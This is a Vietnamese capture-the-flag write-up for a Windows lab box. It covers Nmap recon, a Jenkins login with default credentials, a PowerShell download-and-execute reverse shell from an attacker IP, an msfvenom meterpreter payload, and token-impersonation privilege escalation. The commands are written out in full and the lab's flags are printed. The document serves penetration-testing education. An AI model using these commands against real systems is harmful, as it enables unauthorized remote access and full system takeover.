Initial Access
Chạy Nmap để thăm dò như sau:
sudo nmap -sS --top-ports 1000 -Pn -n -T3 -oN nmap_alfred.txt 10.10.22.184
Lý do sử dụng --top-ports 1000
là vì khi chạy với option -F
thì bị thiếu mất một port TCP. Còn về việc sử dụng -Pn
là vì target machine không phản hồi với ping scan.
Output:
PORT STATE SERVICE
80/tcp open http
3389/tcp open ms-wbt-server
8080/tcp open http-proxy
Port 80 là một landing page bình thường. Port 8080 là một admin dashboard của Jenkins. Thử username và password là admin
và admin
thì đăng nhập được.
Tìm một chỗ có thể chạy câu lệnh, search google thì thấy nằm ở phần cấu hình build. Vào phần đó và nhập lệnh sau:
powershell iex (New-Object Net.WebClient).DownloadString('http://10.13.30.179:8888/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 10.13.30.179 -Port 9999
Với 8888
là port của Web server dùng để tải script tạo revere shell của Nishang và 9999
là port mà Netcat server đang lắng nghe.
Sau khi cấu hình thì bấm “Save” và chọn “Build now” để Jenkins chạy câu lệnh vừa nhập. Nếu thành công thì ta sẽ nhận được một reverse shell ở phía Netcat server.
Truy cập vào C:\Users\bruce\user.txt
và đọc được flag:
Success
79007a09481963edf2e1321abd9ae2a0
Switching Shell
Để chuyển sang meterpreter shell, trước tiên ta cần tạo một payload bằng Metasploit Venom như sau:
msfvenom -p windows/meterpreter/reverse_tcp -a x86 --encoder x86/shikata_ga_nai LHOST=10.13.30.179 LPORT=8899 -f exe -o alfred_reverse_tcp.exe
Kế đó, thực thi lệnh dưới ở reverse shell hiện tại của Netcat server:
powershell "(New-Object System.Net.WebClient).Downloadfile('http://10.13.30.179:8888/alfred_reverse_tcp.exe','alfred_reverse_tcp.exe')"
Ở phía attacking machine, chạy Metasploit Multi-Handler với các setup sau:
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 10.13.30.179
set LPORT 8899
Thực thi payload alfred_reverse_tcp.exe
để nhận meterpreter shell:
.\alfred_reverse_tcp.exe
Privilege Escalation
Access Token
Hệ điều hành Windows sử dụng các token để đảm bảo các người dùng có đầy đủ quyền khi thực thi các hành động cụ thể. Các token này được gán cho người dùng khi họ đăng nhập hoặc được xác thực và được thực hiện bởi LSASS.exe
(có thể xem như là một tiến trình xác thực).
Một token sẽ bao gồm:
- User SIDs (Secruty Idenfiers)
- Group SIDs
- Privileges
Có hai loại token:
- Primary: được gắn với một người dùng và được tạo ra khi người dùng thực hiện đăng nhập.
- Impersonation: cho phép một tiến trình cụ thể (hoặc một thread trong tiến trình) truy cập vào các tài nguyên bằng cách sử dụng token của user hoặc tiến trình khác.
Có một số level của impersonation token:
- SecurityAnonymous: người dùng hiện tại không thể impersonate người dùng khác.
- SecurityIdentification: người dùng hiện tại có thể lấy định danh và các quyền nhưng không thể impersonate người dùng khác .
- SecurityImpersonation: người dùng hiện tại có thể impersonate security context của người dùng khác trên local system
- SecurityDelegation: người dùng hiện tại có thể impersonate security context của người dùng khác trên remote system.
Với security context là một cấu trúc dữ liệu lưu các thông tin bảo mật của người dùng.
Danh sách các quyền thường bị lợi dụng để leo thang đặc quyền dựa trên token:
- SeImpersonatePrivilege
- SeAssignPrimaryPrivilege
- SeTcbPrivilege
- SeBackupPrivilege
- SeRestorePrivilege
- SeCreateTokenPrivilege
- SeLoadDriverPrivilege
- SeTakeOwnershipPrivilege
- SeDebugPrivilege
Approach
Chuyển từ meterpreter shell sang shell thông thường:
shell
Sau đó dùng lệnh whoami /priv
để liệt kê các quyền của người dùng hiện tại. Thu được hai quyền sau được enabled:
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege Create global objects Enabled
Ta biết được rằng có thể thực hiện leo thang đặc quyền dựa trên SeImpersonatePrivilege1.
Quay lại meterpreter shell và load incognito module của Metasploit để thực hiện impersonate dựa trên token:
load incognito
Nếu câu lệnh trên không hoạt động thì dùng use incognito
.
Thực hiện lệnh sau để liệt kê danh sách các token:
list_tokens -g
Chúng ta thấy được token của Administrator: BUILTIN\Administrators
. Chạy lệnh sau để impersonate:
impersonate_token "BUILTIN\Administrators"
Mặc dù đã impersonate nhưng chúng ta vẫn chưa có toàn quyền của Administrator. Lý do là vì nó sử dụng primary token của process chứ không phải impersonate token để xác định xem process có quyền gì.
Để có các quyền của Administrator, ta cần migrate sang một process có các quyền đó. Chạy lệnh ps
để liệt kê các process. Ta có thể migrate sang process của services.exe
bằng câu lệnh:
migrate PID
Với PID là process ID của services.exe
đã tìm được khi dùng lệnh ps
.
Sau khi leo thang thành công thì ta truy cập C:\Windows\System32\config\root.txt
để đọc flag:
Success
dff0f748678f280250f25a45b8046b4a
Resources
Footnotes
-
Có thể xem thêm cách làm thủ công ở trong SeAssignPrimaryToken. ↩